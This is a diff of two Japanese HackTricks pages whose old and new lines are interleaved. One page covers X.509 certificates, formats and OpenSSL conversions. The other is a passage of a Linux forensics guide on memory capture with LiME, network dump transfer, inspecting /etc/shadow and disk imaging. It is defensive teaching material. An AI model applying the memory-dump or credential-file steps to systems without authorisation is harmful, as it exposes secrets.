* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 の **@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 証明書とは
|
||||
|
||||
暗号化において、**公開鍵証明書**、または**デジタル証明書**、**アイデンティティ証明書**としても知られるものは、公開鍵の所有権を証明するために使用される電子文書です。証明書には鍵に関する情報、所有者(サブジェクトと呼ばれる)のアイデンティティに関する情報、および証明書の内容を検証したエンティティのデジタル署名が含まれます(発行者と呼ばれます)。署名が有効であり、証明書を検討しているソフトウェアが発行者を信頼している場合、その鍵を使用して証明書のサブジェクトと安全に通信できます。
|
||||
**公開鍵証明書**は、暗号化で使用されるデジタルIDであり、誰かが公開鍵を所有していることを証明するために使用されます。これには、鍵の詳細、所有者の身元(サブジェクト)、および信頼された機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。
|
||||
|
||||
典型的な[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key_infrastructure)(PKI)スキームでは、証明書の発行者は通常、顧客に証明書を発行するために料金を請求する企業である[証明機関](https://en.wikipedia.org/wiki/Certificate_authority)(CA)です。一方、[信頼のネットワーク](https://en.wikipedia.org/wiki/Web_of_trust)スキームでは、個人がお互いの鍵に直接署名し、公開鍵証明書と同様の機能を果たす形式で行います。
|
||||
|
||||
公開鍵証明書の最も一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)によって定義されています。X.509は非常に一般的であるため、特定のユースケース向けに定義されたプロファイルによってさらに制約されます。たとえば、RFC 5280で定義されている[公開鍵インフラストラクチャ(X.509)](https://en.wikipedia.org/wiki/PKIX)などがあります。
|
||||
証明書は、主に[証明機関](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)によって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI)のセットアップで発行されます。別の方法は、[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)であり、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で概説されている特定のニーズに適応できます。
|
||||
|
||||
## x509共通フィールド
|
||||
|
||||
- **バージョン番号**:x509形式のバージョン。
|
||||
- **シリアル番号**:CAのシステム内で証明書を一意に識別するために使用されます。特に、これは取り消し情報を追跡するために使用されます。
|
||||
- **サブジェクト**:証明書が属するエンティティ:マシン、個人、または組織。
|
||||
- **コモンネーム**:証明書に影響を与えるドメイン。1つ以上であり、ワイルドカードを含むことができます。
|
||||
- **国(C)**:国
|
||||
- **識別名(DN)**:全体のサブジェクト:`C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
|
||||
- **ローカリティ(L)**:地元の場所
|
||||
- **組織(O)**:組織名
|
||||
- **組織単位(OU)**:組織の部門(「人事」など)。
|
||||
- **州または州(ST、SまたはP)**:州または州の名前のリスト
|
||||
- **発行者**:情報を検証し、証明書に署名したエンティティ。
|
||||
- **コモンネーム(CN)**:証明機関の名前
|
||||
- **国(C)**:証明機関の国
|
||||
- **識別名(DN)**:証明機関の識別名
|
||||
- **ローカリティ(L)**:組織が見つかる地元の場所。
|
||||
- **組織(O)**:組織名
|
||||
- **組織単位(OU)**:組織の部門(「人事」など)。
|
||||
- **Not Before**:証明書が有効である最も早い時刻と日付。通常、証明書が発行された瞬間よりも数時間または数日前に設定され、[クロックスキュー](https://en.wikipedia.org/wiki/Clock_skew#On_a_network)問題を回避します。
|
||||
- **Not After**:証明書が無効になる時刻と日付。
|
||||
- **公開鍵**:証明書サブジェクトに属する公開鍵。 (これはCAによって署名される主要な部分の1つです)
|
||||
- **公開鍵アルゴリズム**:公開鍵を生成するために使用されるアルゴリズム。RSAなど。
|
||||
- **公開鍵曲線**:楕円曲線公開鍵アルゴリズムで使用される曲線(適用される場合)。nistp521など。
|
||||
- **公開鍵指数**:公開鍵を導出するために使用される指数(適用される場合)。65537など。
|
||||
- **公開鍵サイズ**:ビット単位での公開鍵空間のサイズ。2048など。
|
||||
- **署名アルゴリズム**:公開鍵証明書に署名するために使用されるアルゴリズム。
|
||||
- **署名**:発行者の秘密鍵による証明書本体の署名。
|
||||
- **x509v3拡張**
|
||||
- **キーの使用法**:証明書の公開鍵の有効な暗号利用方法。デジタル署名検証、鍵暗号化、証明書署名などが一般的な値です。
|
||||
- Web証明書では、_X509v3拡張_として表示され、値が`Digital Signature`になります。
|
||||
- **拡張キーの使用法**:証明書が使用できるアプリケーション。TLSサーバー認証、電子メール保護、コード署名などが一般的な値です。
|
||||
- Web証明書では、_X509v3拡張_として表示され、値が`TLS Web Server Authentication`になります。
|
||||
- **サブジェクト代替名**:1つのSSL証明書に追加のホスト**名**を指定できます。SAN拡張の使用はSSL証明書の標準的な慣行であり、一般的な**名前**の使用を置き換える途中です。
|
||||
- **基本制約**:この拡張は、証明書がCA証明書であるかエンドエンティティ証明書であるかを説明します。 CA証明書は他者の証明書に署名するものであり、エンドエンティティ証明書は、たとえばWebページで使用される証明書です(チェーンの最後の部分)。
|
||||
- **サブジェクトキー識別子**(SKI):この拡張は、証明書の公開**キー**の一意の**識別子**を宣言します。すべてのCA証明書には必須です。 CAは、発行された証明書の発行者**キー識別子**(AKI)拡張に自分自身のSKIを伝播します。これはサブジェクト公開鍵のハッシュです。
|
||||
- **権限キー識別子**:これには、発行者証明書の公開鍵から派生したキー識別子が含まれます。これは発行者公開鍵のハッシュです。
|
||||
- **権限情報アクセス**(AIA):この拡張には、次の2種類の情報が含まれます:
|
||||
- この証明書の発行者を取得する方法に関する情報(CA発行者アクセス方法)
|
||||
- この証明書の取り消しを確認できるOCSP応答者のアドレス(OCSPアクセス方法)。
|
||||
- **CRL配布ポイント**:この拡張は、この証明書の取り消しを確認できるCRLの場所を識別します。証明書を処理するアプリケーションは、この拡張からCRLの場所を取得し、CRLをダウンロードしてからこの証明書の取り消しを確認できます。
|
||||
- **CTプレサーティフィケートSCT**:証明書に関する証明書透明性のログ
|
||||
### **x509証明書の共通フィールド**
|
||||
|
||||
### OCSPとCRL配布ポイントの違い
|
||||
x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は次のとおりです:
|
||||
|
||||
**OCSP**(RFC 2560)は、**OCSPクライアントとOCSP応答者**から構成される標準プロトコルです。このプロトコルは、**CRL全体をダウンロードすることなく**、**特定のデジタル公開鍵証明書の取り消しステータスを決定**します。\
|
||||
**CRL**は証明書の有効性を確認するための**従来の方法**です。**CRLには取り消された証明書のシリアル番号のリスト**が含まれます。 CRLを使用することで、証明書の提示時にその取り消しステータスを確認できます。 CRLは512エントリまでです。\
|
||||
[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)から。
|
||||
* **バージョン番号**はx509形式のバージョンを示します。
|
||||
* **シリアル番号**は、証明書を一意に識別し、主に取り消しの追跡のために証明機関(CA)のシステム内で使用されます。
|
||||
* **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。詳細な識別情報が含まれます:
|
||||
* **Common Name (CN)**: 証明書でカバーされるドメイン。
|
||||
* **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)** は地理的および組織的な詳細を提供します。
|
||||
* **識別名(DN)** は、完全なサブジェクト識別をカプセル化します。
|
||||
* **発行者**は、証明書を検証し署名した人物を詳細に示し、CAの場合と同様のサブフィールドが含まれます。
|
||||
* **有効期間**は、**Not Before** および **Not After** タイムスタンプによって示され、証明書が特定の日付前または後に使用されないようにします。
|
||||
* 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。
|
||||
* **x509v3拡張**は、証明書の機能を強化し、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**、およびその他のプロパティを指定して証明書のアプリケーションを微調整します。
|
||||
|
||||
### 証明書透明性とは
|
||||
#### **Key Usage および Extensions**
|
||||
|
||||
証明書透明性は、SSL証明書に基づく脅威を解決することを目的としています。これは、SSL証明書の発行と存在をドメイン所有者、CA、およびドメインユーザーによって検証可能にすることを目的としています。具体的には、証明書透明性には次の3つの主な目標があります:
|
||||
* **Key Usage** は、公開鍵の暗号化アプリケーションを識別します。たとえば、デジタル署名または鍵の暗号化です。
|
||||
* **Extended Key Usage** は、証明書の使用ケースをさらに絞り込みます。例: TLSサーバー認証用。
|
||||
* **Subject Alternative Name** および **Basic Constraint** は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。
|
||||
* **Subject Key Identifier** および **Authority Key Identifier** などの識別子は、鍵の一意性と追跡可能性を確保します。
|
||||
* **Authority Information Access** および **CRL Distribution Points** は、発行CAの検証パスを提供し、証明書の取り消し状態を確認します。
|
||||
* **CT Precertificate SCTs** は、証明書に対する公衆の信頼に不可欠な透明性ログを提供します。
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
- CAがそのドメインのためにSSL証明書を発行することができない(または非常に困難にする)ようにする。その証明書がそのドメインの所有者に見えるようにする。
|
||||
- 任意のドメイン所有者またはCAが、誤ってまたは悪意を持って発行された証明書を確認できるようにする、オープンな監査およびモニタリングシステムを提供する。
|
||||
- 誤ってまたは悪意を持って発行された証明書によってユーザーがだまされるのを(可能な限り)防ぐ。
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
issuer = certificate.issuer
|
||||
subject = certificate.subject
|
||||
public_key = certificate.public_key()
|
||||
|
||||
print(f"Serial Number: {serial_number}")
|
||||
print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **OCSPとCRL配布ポイントの違い**
|
||||
|
||||
**OCSP**(**RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して、完全な**CRL**をダウンロードする必要なく行う方法です。この方法は、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的です。CRLには最大512のエントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。
|
||||
|
||||
### **証明書透明性とは**
|
||||
|
||||
証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに可視化されることによって、証明書関連の脅威に対抗します。その目的は次のとおりです:
|
||||
|
||||
* ドメイン所有者の知識なしにCAがドメインのためにSSL証明書を発行するのを防ぐこと。
|
||||
* 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。
|
||||
* ユーザーを詐欺的な証明書から保護すること。
|
||||
|
||||
#### **証明書ログ**
|
||||
|
||||
証明書ログは、証明書の**暗号的に保証された、公開で監査可能な、追加専用のレコード**を維持するシンプルなネットワークサービスです。**誰でもログに証明書を提出できます**が、証明機関がおそらく最初の提出者になるでしょう。同様に、誰でもログをクエリでき、その暗号的な証拠を取得できます。これは、ログが適切に動作しているか、特定の証明書がログに記録されているかを検証するために使用できます。ログサーバーの数は大きくなくても構いません(たとえば、世界中で1000を大幅に下回る)、それぞれがCA、ISP、または他の関係者によって独立して運営される可能性があります。
|
||||
証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードです。これらのログは監査目的のための暗号的証拠を提供します。発行権限者と一般の両方がこれらのログに証明書を提出したり、検証のためにクエリを送信したりできます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関連するエンティティによって独自に管理される可能性があります。
|
||||
|
||||
#### クエリ
|
||||
#### **クエリ**
|
||||
|
||||
任意のドメインの証明書透明性のログを[https://crt.sh/](https://crt.sh)でクエリできます。
|
||||
任意のドメインの証明書透明性ログを調べるには、[https://crt.sh/](https://crt.sh)を訪れてください。
|
||||
|
||||
## フォーマット
|
||||
## **フォーマット**
|
||||
|
||||
証明書を保存するために使用できるさまざまなフォーマットがあります。
|
||||
### **PEMフォーマット**
|
||||
|
||||
#### **PEM形式**
|
||||
* 証明書に最も広く使用されているフォーマット。
|
||||
* 証明書と秘密鍵用の別々のファイルが必要で、Base64 ASCIIでエンコードされています。
|
||||
* 一般的な拡張子:.cer、.crt、.pem、.key。
|
||||
* 主にApacheおよび類似のサーバーで使用されます。
|
||||
|
||||
- 証明書に最も一般的に使用される形式です
|
||||
- ほとんどのサーバ
|
||||
```
|
||||
### **DERフォーマット**
|
||||
|
||||
* 証明書のバイナリフォーマット。
|
||||
* PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントが欠けています。
|
||||
* 一般的な拡張子:.cer、.der。
|
||||
* Javaプラットフォームでよく使用されます。
|
||||
|
||||
### **P7B/PKCS#7フォーマット**
|
||||
|
||||
* Base64 ASCIIで保存され、拡張子は.p7bまたは.p7cです。
|
||||
* 秘密鍵を除く証明書とチェーン証明書のみを含みます。
|
||||
* Microsoft WindowsおよびJava Tomcatでサポートされています。
|
||||
|
||||
### **PFX/P12/PKCS#12フォーマット**
|
||||
|
||||
* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化したバイナリフォーマット。
|
||||
* 拡張子:.pfx、.p12。
|
||||
* 証明書のインポートおよびエクスポートにWindowsで主に使用されます。
|
||||
|
||||
### **フォーマットの変換**
|
||||
|
||||
**PEM変換**は互換性のために重要です:
|
||||
|
||||
* **x509からPEMへ**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
#### **PEMをDERに変換する**
|
||||
```
|
||||
* **PEMからDERへ**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
**DERをPEMに変換する**
|
||||
```
|
||||
* **DERからPEMへ**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
**PEMをP7Bに変換する**
|
||||
|
||||
**注意:** PKCS#7またはP7B形式はBase64 ASCII形式で保存され、ファイル拡張子は.p7bまたは.p7cです。P7Bファイルには証明書とチェーン証明書(中間CA)のみが含まれており、秘密鍵は含まれていません。P7Bファイルをサポートする最も一般的なプラットフォームはMicrosoft WindowsとJava Tomcatです。
|
||||
```
|
||||
* **PEMからP7Bへ**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
**PKCS7をPEM形式に変換する**
|
||||
```
|
||||
* **PKCS7をPEM形式に変換する**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**pfxをPEMに変換する**
|
||||
**PFX変換**はWindowsで証明書を管理するために重要です:
|
||||
|
||||
**注意:** PKCS#12またはPFX形式は、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するためのバイナリ形式です。 PFXファイルには通常、.pfxや.p12などの拡張子が付いています。 PFXファイルは、通常、Windowsマシンで証明書と秘密鍵をインポートおよびエクスポートするために使用されます。
|
||||
```
|
||||
* **PFXからPEMへ**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
**PFXをPKCS#8に変換する**\
|
||||
**注意:** これには2つのコマンドが必要です
|
||||
|
||||
**1- PFXをPEMに変換する**
|
||||
```
|
||||
* **PFXをPKCS#8に変換する**には、2つのステップが必要です:
|
||||
1. PFXをPEMに変換します
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
**2- PEMをPKCS8に変換する**
|
||||
2. PEMをPKCS8に変換します
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private_pkcs8.der -nocrypt
|
||||
```
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
**P7BをPFXに変換する**\
|
||||
**注意:** これには2つのコマンドが必要です
|
||||
|
||||
1- **P7BをCERに変換する**
|
||||
```
|
||||
* **P7BからPFXへ**変換するには、2つのコマンドが必要です:
|
||||
1. P7BをCERに変換します
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
**2- CERとプライベートキーをPFXに変換する**
|
||||
```
|
||||
2. CERとプライベートキーをPFXに変換します。
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Linuxフォレンジクス
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -10,15 +10,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのスウォッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,7 +26,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### 基本情報
|
||||
|
||||
まず最初に、**USB**に**良く知られたバイナリとライブラリ**が含まれていることが推奨されます(単にUbuntuを取得して、_ / bin_、_ / sbin_、_ / lib_、および_ / lib64_のフォルダをコピーできます)。次に、USBをマウントし、環境変数を変更してこれらのバイナリを使用します:
|
||||
まず最初に、**USB**に**良く知られたバイナリとライブラリが含まれている**(単にUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および_ /lib64_のフォルダをコピーできます)ことが推奨されます。次に、USBをマウントし、環境変数を変更してこれらのバイナリを使用します:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -51,23 +51,23 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
```
|
||||
#### 疑わしい情報
|
||||
|
||||
基本情報を取得する際に、次のような奇妙な点をチェックする必要があります:
|
||||
基本情報を取得する際に、次のような奇妙な点をチェックする必要があります:
|
||||
|
||||
- **Rootプロセス** は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑う必要があります
|
||||
- `/etc/passwd` 内にシェルを持たないユーザーの**登録されたログイン** を確認する
|
||||
- `/etc/shadow` 内にシェルを持たないユーザーの**パスワードハッシュ** を確認する
|
||||
- **Rootプロセス** は通常、低いPIDで実行されます。したがって、大きなPIDでRootプロセスを見つけた場合は疑う必要があります
|
||||
- `/etc/passwd`内でシェルを持たないユーザーの**登録されたログイン**を確認する
|
||||
- `/etc/shadow`内でシェルを持たないユーザーの**パスワードハッシュ**を確認する
|
||||
|
||||
### メモリーダンプ
|
||||
### メモリダンプ
|
||||
|
||||
実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\
|
||||
それを**コンパイル** するには、被害者のマシンが使用している**同じカーネル** を使用する必要があります。
|
||||
**コンパイル**するには、被害者マシンが使用している**同じカーネル**を使用する必要があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
被害者のマシンにLiMEやその他の何かを**インストールすることはできない** ことを覚えておいてください。それはそれにいくつかの変更を加えるためです
|
||||
被害者マシンには**LiMEやその他の何かをインストールできない**ことを覚えておいてください。それにより、複数の変更が加えられます
|
||||
{% endhint %}
|
||||
|
||||
したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます。\
|
||||
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME) をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー** を取得するには、単に`/lib/modules/<kernel version>` ディレクトリをあなたのマシンにコピーし、それを使用してLiMEを**コンパイル** します:
|
||||
したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます\
|
||||
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME)をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**を取得するには、単に`/lib/modules/<kernel version>`ディレクトリをあなたのマシンにコピーし、それを使用してLiMEを**コンパイル**します:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
|
@ -78,14 +78,14 @@ LiMEは3つの**フォーマット**をサポートしています:
|
|||
- Padded(Rawと同じですが、右ビットにゼロが入っています)
|
||||
- Lime(メタデータを含む推奨フォーマット)
|
||||
|
||||
LiMEは、`path=tcp:4444`のような方法を使用して、**ダンプをネットワーク経由で送信**することもできます。
|
||||
LiMEは、`path=tcp:4444`のような方法を使用して、システムに保存せずに**ダンプをネットワーク経由で送信**することもできます。
|
||||
|
||||
### ディスクイメージング
|
||||
|
||||
#### シャットダウン
|
||||
|
||||
まず、**システムをシャットダウンする**必要があります。これは常に選択肢というわけではありません。なぜなら、システムが企業がシャットダウンできない本番サーバーである場合があるからです。\
|
||||
システムをシャットダウンするには、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の**2つの方法**があります。最初の方法は、**プロセスが通常通り終了**し、**ファイルシステムが同期**されることを可能にしますが、**悪意のあるソフトウェア**が**証拠を破壊**する可能性もあります。"プラグを抜く"アプローチは、**いくらかの情報損失**を伴うかもしれません(メモリのイメージをすでに取っているので、失われる情報はほとんどありません)が、**悪意のあるソフトウェア**が何もできないでしょう。したがって、**悪意のあるソフトウェア**がある可能性がある場合は、システムで**`sync`** **コマンド**を実行してプラグを抜いてください。
|
||||
まず、**システムをシャットダウンする**必要があります。これは常に選択肢としてはない場合があります。企業がシャットダウンする余裕のない本番サーバーであることがあります。\
|
||||
システムをシャットダウンする方法には、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つがあります。前者は**プロセスが通常通り終了**し、**ファイルシステム**が**同期**されることを可能にしますが、**マルウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチは**一部の情報が失われる**可能性があります(メモリのイメージをすでに取得しているため、失われる情報はほとんどありません)が、**マルウェア**はそれについて何もできません。したがって、**マルウェア**が疑われる場合は、システムで**`sync`** **コマンド**を実行してプラグを抜いてください。
|
||||
|
||||
#### ディスクのイメージを取得する
|
||||
|
||||
|
@ -153,10 +153,10 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
